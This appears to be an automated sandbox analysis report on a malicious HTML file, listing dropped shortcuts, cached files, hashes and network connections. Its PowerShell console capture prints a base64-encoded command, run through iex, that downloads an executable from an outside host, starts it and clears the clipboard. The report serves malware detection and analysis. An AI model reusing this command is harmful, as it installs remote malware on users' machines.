File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 26 08:16:07 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9817189348322
Encrypted:	false
SSDEEP:	48:8mOdZTFLlf8EHlidAKZdA1FehwiZUklqehey+3:8m8rf8Kty
MD5:	745F0F90C43EF4958D1790EC317AFF5E
SHA1:	F0394159F9A28675FDFF44F5E9D316F208011E71
SHA-256:	6278B65DF2A1F58B47CF6382F70FADDB3F3721DEDE1E92FED996163D910863AC
SHA-512:	A3DB464033284069229FD1555263CEB0CD69621B0C88157AA92CA6248A269FD5703FD89DC51CA3C5ED0B95443A27AFB7DF5A568DC1D33851E1B7E88B00FBD302
Malicious:	false
Preview:	L..................F.@.. ...$+.,......AK8P..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I:X.I....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V:X.J....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V:X.J....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V:X.J..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V:X.J...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............n.c.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 26 08:16:07 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	3.99841569054313
Encrypted:	false
SSDEEP:	48:8dOdZTFLlf8EHlidAKZdA1seh/iZUkAQkqehdy+2:8d8rf8k9Q0y
MD5:	BCE6AA5A8B86CFEA3CE30D8B1457AF6B
SHA1:	D10F8894E4813FCAF44A5840E14FEDA01777468C
SHA-256:	CECBE6511CECD0F8715194C462950B4C15C49F20EE5FB82E608CD248DCD2ED9F
SHA-512:	27488EBE15C86718A006585419E4A91CF88A06F72F93982407B766284C2FFD57EE3B429F284EE5D546EB8BB9154130782FCBB687BD0092295A1FD0F5808D5C6C
Malicious:	false
Preview:	L..................F.@.. ...$+.,....s.7K8P..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I:X.I....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V:X.J....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V:X.J....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V:X.J..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V:X.J...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............n.c.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.008473075027094
Encrypted:	false
SSDEEP:	48:8XOdZTFLlfAHlidAKZdA14meh7sFiZUkmgqeh7s7y+BX:8X8rf0nRy
MD5:	C17DD4C67AE04AC5297A4958845DD00D
SHA1:	99DDF2209053DEC543431A95BF385D3D728DA579
SHA-256:	B1C9D9746CC14159449FC17D752CDB44730CC81D920417FC1DE381835A723E4C
SHA-512:	0658437E3E70A7EE214A6CD5646C98049541CF39CAD03B4566A70295E99C4D78F9451DEA37454F79BFE144486C3FEF831989174247286D1A0FDBF5C5BEC7393D
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I:X.I....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V:X.J....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V:X.J....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V:X.J..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............n.c.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 26 08:16:07 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9961894173933366
Encrypted:	false
SSDEEP:	48:81OdZTFLlf8EHlidAKZdA1TehDiZUkwqehZy+R:818rf8/jy
MD5:	F16514DAF8D6126E1CAECBCBEECB7B11
SHA1:	C8773D18ECE28508A5E1AF5ED4C4B3FFD5C516BB
SHA-256:	3E640BD3ED46E163B20DAF50EA12ADB890F4A7A75ED0FC2B08002E781D323E7B
SHA-512:	C9A9EA865C1638B617A1797297CD85D464115C258DDC9244480900F6EC89AE01EEF7E3C2711AF07773A8DB1804C507F3E62F1568D12E6CF91E533DA7C79484A3
Malicious:	false
Preview:	L..................F.@.. ...$+.,....<k2K8P..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I:X.I....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V:X.J....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V:X.J....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V:X.J..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V:X.J...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............n.c.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 26 08:16:07 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9883994266484835
Encrypted:	false
SSDEEP:	48:89OdZTFLlf8EHlidAKZdA1dehBiZUk1W1qeh/y+C:898rf8f9fy
MD5:	CF6355508B269B186A291B02CAB28970
SHA1:	4EE139CC29673A95B8F035BD343CC55A19D8FE70
SHA-256:	10221013D3A902F03900B0800BF0D86C99C3A45544F900848A9D9234C1A15ACF
SHA-512:	9BE87CFB5E4CBC6D7E8E1CF423D401E78A20E7B9C73DD373A865C9CAEC4B2A073341F0E66EA6A3FC6B15DBB34D5CAB6EB09B3F232D349461D9186774BCD4F1F1
Malicious:	false
Preview:	L..................F.@.. ...$+.,......<K8P..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I:X.I....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V:X.J....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V:X.J....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V:X.J..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V:X.J...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............n.c.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 26 08:16:07 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.996158842588723
Encrypted:	false
SSDEEP:	48:8EOdZTFLlf8EHlidAKZdA1duTeehOuTbbiZUk5OjqehOuTbRy+yT+:8E8rf8jTfTbxWOvTbRy7T
MD5:	659134C6F9E8ADC7313351F222CCEC95
SHA1:	ACB8194254CDA7CC1F95544AF16CEA53D84C4A1F
SHA-256:	401AAECE7FBAB5512498A5B344783B65432DF2C54B5475C1B3D1110D7873FD1F
SHA-512:	00EFC7E4BD288F0BEE37FC43FD7D625E7FCBE6FCBA6C7D38F74F064BC8A1B5EC1E6F25A3ECBD4031EDA972DE1262B6663160AECBC0A4F65D42E7110D17878A0A
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....TK8P..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I:X.I....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V:X.J....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V:X.J....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V:X.J..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V:X.J...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............n.c.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89795
Entropy (8bit):	5.290870198529059
Encrypted:	false
SSDEEP:	1536:IjjxXUHunxDjoXEZxkMV4PYDt0zxxf6gP3f8cApoEGOzZTBqUsuy8WnKdXwhLQvg:IeeIygP3fulzhsz8jlvaDioQ47GKH
MD5:	641DD14370106E992D352166F5A07E99
SHA1:	EDA46747C71D38A880BEE44F9A439C3858BB8F99
SHA-256:	A0FE8723DCF55DA64D06B25446D0A8513E52527C45AFCB37073465F9C6F352AF
SHA-512:	A6E981B23351186AA43F32879DD64C6801BE6E2AF7EF8B0E472CCCDEEBA52D5D7894DE4BCB292A364F1E11E525524077534338140A72687ADA4FAE62849843A5
Malicious:	false
URL:	https://code.jquery.com/jquery-3.6.4.min.js
Preview:	/! jQuery v3.6.4 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,y=n.hasOwnProperty,a=y.toString,l=a.call(Object),v={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

\Device\ConDrv

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (990), with no line terminators, with escape sequences
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.95749360963345
Encrypted:	false
SSDEEP:	24:LhvUXhvU2nfUtkwWHrmfkaLY7HKP2V2rufdWZ+hdWZ+FdWZ+Ffrc2ynRVVz:TkdH7DHqWgl
MD5:	1FEB589358E088D1C0C58DDFBC7BAAA2
SHA1:	07AAE02E0D52D9898B0E3E38F99E0392CA884DF7
SHA-256:	D2FF59C3AF12ABDCA111A800D371F3B49F3D24AF2508A406709B39D1125BBC81
SHA-512:	D7FD7B8F7BB40AAC9694902D5B991438FD244A834E1D3FF5E02414DB3A1521F2326BE189EA22C147E11864EBC4D2CDC311B830BEFD3200A46231C55071F918DF
Malicious:	false
Preview:	.[93mi.[33m.[45m.[0m.[93mipconfig.[33m.[45m .[33m/flushdn.[33m.[45m.[0m.[93mipconfig.[33m.[45m .[33m/flushdns.[33m.[45m.[0m.[33m.[45m.[0m.[92m$base64.[33m.[45m .[90m=.[33m.[45m .[36m"Y2xlYXItaG9zdDsNCiRwYXRoMSA9ICdjOlxcdXNlcnNcXHB1YmxpY1xcZmlsZW5hbWUuZXhlJzsNCml3ciAtdXJpIGh0dHBzOi8vcGl4ZWx0ZWNobmljYWwuY29tL1YxeC8xNzI5ODggLW91dGZpbGUgJHBhdGgxOw0Kc3RhcnQtcHJvY2VzcyAkcGF0aDE7DQo=".[33m;.[33m.[45m.[0m.[33m.[45m.[0m.[93miex.[33m([.[37mSystem.Text.Encoding.[33m]::.[97mUTF8.[33m..[97mGetString.[33m([.[37mSystem.Convert.[33m]::.[97mFromBase64String.[33m(.[92m$base64.[33m)));.[33m.[45m.[0m.[33m.[45m.[0m.[93mSet-Clipboard.[33m.[45m .[90m-Value.[33m.[45m .[36m" ".[33m.[45m.[0m.[93mSet-Clipboard.[33m.[45m .[90m-Value.[33m.[45m .[36m" ".[33m;.[33m.[45m.[0m.[93mSet-Clipboard.[33m.[45m .[90m-Value.[33m.[45m .[36m" ".[33m;.[33m.[45m.[0m.[33m.[45m.[0m.[93me.[33m.[45m.[0m.[93mex.[33m.[45m.[0m.[93mexi.[33m.[45m.[0m.[92mexit.[33m.[45m.[0m.[92mexit.[33m;.[33m.[45m.[0m.[92mexit.[33m;.[33m.[45m.[0m

Static File Info

General

File type:	HTML document, Unicode text, UTF-8 text, with very long lines (31622), with CRLF line terminators
Entropy (8bit):	6.0914427178913675
TrID:	HyperText Markup Language (15015/1) 20.56% HyperText Markup Language (12001/1) 16.44% HyperText Markup Language (12001/1) 16.44% HyperText Markup Language (11501/1) 15.75% HyperText Markup Language (11501/1) 15.75%
File name:	HARUMQ.html
File size:	41'659 bytes
MD5:	5d5e4c768c448a7465639461b016f0b7
SHA1:	72996bdf38e508e83bfe02cbb9a7daab9118b336
SHA256:	9403f7e89f1c4150a261eb4ded3c35096ff0a2de079c2fc311c283ad9a7506a7
SHA512:	edb077ff1047712a4d132739c47b1845164d8bce42f43dff57c6b415adb3b811adb26e972d50f52a2a552492b8eda4e55dfc927f4d9f7f960202b5097dc8c7bf
SSDEEP:	768:mwBL+oAZizxCmaptUR6lUYWGLYrpVKS+3xVvMFDzh4VmUZcL:mA+oA0zxCmapioerpVKr3PGyVmUWL
TLSH:	2A13BF3A70132FAF6336DC1CF5360A60BCA94C7F4346D5F579A60AF193E0A6C42606E9
File Content Preview:	<!DOCTYPE html>..<html lang="en">..<head>...<meta charset="UTF-8">...<meta name="viewport" content="width=device-width, initial-scale=1.0">...<script src="https://code.jquery.com/jquery-3.6.4.min.js"></script>...<title>K0gCNsDdphXZK0gCNsjIgICIlVHbhZVLgQmc

File Icon


Icon Hash:	173149cccc490307

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 26, 2024 10:16:03.802644014 CET	49674	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:16:03.802686930 CET	49673	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:16:04.121762037 CET	49672	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:16:05.530738115 CET	443	49703	23.1.237.25	192.168.2.16
Jan 26, 2024 10:16:05.530872107 CET	49703	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:16:05.874161005 CET	49723	443	192.168.2.16	142.250.105.84
Jan 26, 2024 10:16:05.874243021 CET	443	49723	142.250.105.84	192.168.2.16
Jan 26, 2024 10:16:05.874321938 CET	49723	443	192.168.2.16	142.250.105.84
Jan 26, 2024 10:16:05.875272989 CET	49724	443	192.168.2.16	173.194.219.102
Jan 26, 2024 10:16:05.875328064 CET	443	49724	173.194.219.102	192.168.2.16
Jan 26, 2024 10:16:05.875394106 CET	49724	443	192.168.2.16	173.194.219.102
Jan 26, 2024 10:16:05.875667095 CET	49725	443	192.168.2.16	151.101.66.137
Jan 26, 2024 10:16:05.875745058 CET	443	49725	151.101.66.137	192.168.2.16
Jan 26, 2024 10:16:05.875814915 CET	49725	443	192.168.2.16	151.101.66.137
Jan 26, 2024 10:16:05.875927925 CET	49723	443	192.168.2.16	142.250.105.84
Jan 26, 2024 10:16:05.875962019 CET	443	49723	142.250.105.84	192.168.2.16
Jan 26, 2024 10:16:05.876251936 CET	49725	443	192.168.2.16	151.101.66.137
Jan 26, 2024 10:16:05.876288891 CET	443	49725	151.101.66.137	192.168.2.16
Jan 26, 2024 10:16:05.876714945 CET	49724	443	192.168.2.16	173.194.219.102
Jan 26, 2024 10:16:05.876737118 CET	443	49724	173.194.219.102	192.168.2.16
Jan 26, 2024 10:16:06.132225990 CET	443	49724	173.194.219.102	192.168.2.16
Jan 26, 2024 10:16:06.132523060 CET	49724	443	192.168.2.16	173.194.219.102
Jan 26, 2024 10:16:06.132554054 CET	443	49724	173.194.219.102	192.168.2.16
Jan 26, 2024 10:16:06.132893085 CET	443	49724	173.194.219.102	192.168.2.16
Jan 26, 2024 10:16:06.133039951 CET	49724	443	192.168.2.16	173.194.219.102
Jan 26, 2024 10:16:06.133761883 CET	443	49724	173.194.219.102	192.168.2.16
Jan 26, 2024 10:16:06.133826017 CET	49724	443	192.168.2.16	173.194.219.102
Jan 26, 2024 10:16:06.134841919 CET	49724	443	192.168.2.16	173.194.219.102
Jan 26, 2024 10:16:06.134959936 CET	443	49724	173.194.219.102	192.168.2.16
Jan 26, 2024 10:16:06.135032892 CET	49724	443	192.168.2.16	173.194.219.102
Jan 26, 2024 10:16:06.135065079 CET	443	49724	173.194.219.102	192.168.2.16
Jan 26, 2024 10:16:06.154125929 CET	443	49723	142.250.105.84	192.168.2.16
Jan 26, 2024 10:16:06.154153109 CET	443	49725	151.101.66.137	192.168.2.16
Jan 26, 2024 10:16:06.154460907 CET	49723	443	192.168.2.16	142.250.105.84
Jan 26, 2024 10:16:06.154483080 CET	443	49723	142.250.105.84	192.168.2.16
Jan 26, 2024 10:16:06.154624939 CET	49725	443	192.168.2.16	151.101.66.137
Jan 26, 2024 10:16:06.154664040 CET	443	49725	151.101.66.137	192.168.2.16
Jan 26, 2024 10:16:06.155947924 CET	443	49723	142.250.105.84	192.168.2.16
Jan 26, 2024 10:16:06.156012058 CET	49723	443	192.168.2.16	142.250.105.84
Jan 26, 2024 10:16:06.156104088 CET	443	49725	151.101.66.137	192.168.2.16
Jan 26, 2024 10:16:06.156173944 CET	49725	443	192.168.2.16	151.101.66.137
Jan 26, 2024 10:16:06.157561064 CET	49725	443	192.168.2.16	151.101.66.137
Jan 26, 2024 10:16:06.157653093 CET	443	49725	151.101.66.137	192.168.2.16
Jan 26, 2024 10:16:06.159251928 CET	49723	443	192.168.2.16	142.250.105.84
Jan 26, 2024 10:16:06.159344912 CET	443	49723	142.250.105.84	192.168.2.16
Jan 26, 2024 10:16:06.159395933 CET	49725	443	192.168.2.16	151.101.66.137
Jan 26, 2024 10:16:06.159411907 CET	443	49725	151.101.66.137	192.168.2.16
Jan 26, 2024 10:16:06.159579992 CET	49723	443	192.168.2.16	142.250.105.84
Jan 26, 2024 10:16:06.159595966 CET	443	49723	142.250.105.84	192.168.2.16
Jan 26, 2024 10:16:06.187628984 CET	49724	443	192.168.2.16	173.194.219.102
Jan 26, 2024 10:16:06.202609062 CET	49723	443	192.168.2.16	142.250.105.84
Jan 26, 2024 10:16:06.202656031 CET	49725	443	192.168.2.16	151.101.66.137
Jan 26, 2024 10:16:06.334184885 CET	443	49725	151.101.66.137	192.168.2.16
Jan 26, 2024 10:16:06.356065989 CET	443	49724	173.194.219.102	192.168.2.16
Jan 26, 2024 10:16:06.356168032 CET	443	49724	173.194.219.102	192.168.2.16
Jan 26, 2024 10:16:06.356244087 CET	49724	443	192.168.2.16	173.194.219.102
Jan 26, 2024 10:16:06.356415987 CET	443	49725	151.101.66.137	192.168.2.16
Jan 26, 2024 10:16:06.356450081 CET	443	49725	151.101.66.137	192.168.2.16
Jan 26, 2024 10:16:06.356499910 CET	443	49725	151.101.66.137	192.168.2.16
Jan 26, 2024 10:16:06.356508017 CET	49725	443	192.168.2.16	151.101.66.137
Jan 26, 2024 10:16:06.356563091 CET	443	49725	151.101.66.137	192.168.2.16
Jan 26, 2024 10:16:06.356595993 CET	49725	443	192.168.2.16	151.101.66.137
Jan 26, 2024 10:16:06.356605053 CET	443	49725	151.101.66.137	192.168.2.16
Jan 26, 2024 10:16:06.356631994 CET	49725	443	192.168.2.16	151.101.66.137
Jan 26, 2024 10:16:06.356777906 CET	443	49723	142.250.105.84	192.168.2.16
Jan 26, 2024 10:16:06.356962919 CET	443	49723	142.250.105.84	192.168.2.16
Jan 26, 2024 10:16:06.357026100 CET	49723	443	192.168.2.16	142.250.105.84
Jan 26, 2024 10:16:06.358721972 CET	49723	443	192.168.2.16	142.250.105.84
Jan 26, 2024 10:16:06.358757019 CET	443	49723	142.250.105.84	192.168.2.16
Jan 26, 2024 10:16:06.362273932 CET	49724	443	192.168.2.16	173.194.219.102
Jan 26, 2024 10:16:06.362308025 CET	443	49724	173.194.219.102	192.168.2.16
Jan 26, 2024 10:16:06.373851061 CET	443	49725	151.101.66.137	192.168.2.16
Jan 26, 2024 10:16:06.373928070 CET	49725	443	192.168.2.16	151.101.66.137
Jan 26, 2024 10:16:06.373929977 CET	443	49725	151.101.66.137	192.168.2.16
Jan 26, 2024 10:16:06.373971939 CET	443	49725	151.101.66.137	192.168.2.16
Jan 26, 2024 10:16:06.374011040 CET	49725	443	192.168.2.16	151.101.66.137
Jan 26, 2024 10:16:06.425645113 CET	49725	443	192.168.2.16	151.101.66.137
Jan 26, 2024 10:16:06.450006962 CET	443	49725	151.101.66.137	192.168.2.16
Jan 26, 2024 10:16:06.450026035 CET	443	49725	151.101.66.137	192.168.2.16
Jan 26, 2024 10:16:06.450047970 CET	443	49725	151.101.66.137	192.168.2.16
Jan 26, 2024 10:16:06.450082064 CET	443	49725	151.101.66.137	192.168.2.16
Jan 26, 2024 10:16:06.450084925 CET	49725	443	192.168.2.16	151.101.66.137
Jan 26, 2024 10:16:06.450138092 CET	49725	443	192.168.2.16	151.101.66.137
Jan 26, 2024 10:16:06.450156927 CET	443	49725	151.101.66.137	192.168.2.16
Jan 26, 2024 10:16:06.450212002 CET	49725	443	192.168.2.16	151.101.66.137
Jan 26, 2024 10:16:06.469089985 CET	443	49725	151.101.66.137	192.168.2.16
Jan 26, 2024 10:16:06.469149113 CET	443	49725	151.101.66.137	192.168.2.16
Jan 26, 2024 10:16:06.469181061 CET	49725	443	192.168.2.16	151.101.66.137
Jan 26, 2024 10:16:06.469188929 CET	443	49725	151.101.66.137	192.168.2.16
Jan 26, 2024 10:16:06.469228029 CET	49725	443	192.168.2.16	151.101.66.137
Jan 26, 2024 10:16:06.469242096 CET	49725	443	192.168.2.16	151.101.66.137
Jan 26, 2024 10:16:06.480618000 CET	443	49725	151.101.66.137	192.168.2.16
Jan 26, 2024 10:16:06.480660915 CET	443	49725	151.101.66.137	192.168.2.16
Jan 26, 2024 10:16:06.480695009 CET	49725	443	192.168.2.16	151.101.66.137
Jan 26, 2024 10:16:06.480701923 CET	443	49725	151.101.66.137	192.168.2.16
Jan 26, 2024 10:16:06.480734110 CET	49725	443	192.168.2.16	151.101.66.137
Jan 26, 2024 10:16:06.480751991 CET	49725	443	192.168.2.16	151.101.66.137
Jan 26, 2024 10:16:06.486543894 CET	443	49725	151.101.66.137	192.168.2.16
Jan 26, 2024 10:16:06.486629009 CET	49725	443	192.168.2.16	151.101.66.137
Jan 26, 2024 10:16:06.486635923 CET	443	49725	151.101.66.137	192.168.2.16
Jan 26, 2024 10:16:06.486732960 CET	443	49725	151.101.66.137	192.168.2.16
Jan 26, 2024 10:16:06.486788988 CET	49725	443	192.168.2.16	151.101.66.137
Jan 26, 2024 10:16:06.487138987 CET	49725	443	192.168.2.16	151.101.66.137
Jan 26, 2024 10:16:06.487152100 CET	443	49725	151.101.66.137	192.168.2.16
Jan 26, 2024 10:16:10.177341938 CET	49727	443	192.168.2.16	64.233.185.99
Jan 26, 2024 10:16:10.177381992 CET	443	49727	64.233.185.99	192.168.2.16
Jan 26, 2024 10:16:10.177448988 CET	49727	443	192.168.2.16	64.233.185.99
Jan 26, 2024 10:16:10.178062916 CET	49727	443	192.168.2.16	64.233.185.99
Jan 26, 2024 10:16:10.178078890 CET	443	49727	64.233.185.99	192.168.2.16
Jan 26, 2024 10:16:10.394005060 CET	443	49727	64.233.185.99	192.168.2.16
Jan 26, 2024 10:16:10.394413948 CET	49727	443	192.168.2.16	64.233.185.99
Jan 26, 2024 10:16:10.394454956 CET	443	49727	64.233.185.99	192.168.2.16
Jan 26, 2024 10:16:10.395490885 CET	443	49727	64.233.185.99	192.168.2.16
Jan 26, 2024 10:16:10.395592928 CET	49727	443	192.168.2.16	64.233.185.99
Jan 26, 2024 10:16:10.396868944 CET	49727	443	192.168.2.16	64.233.185.99
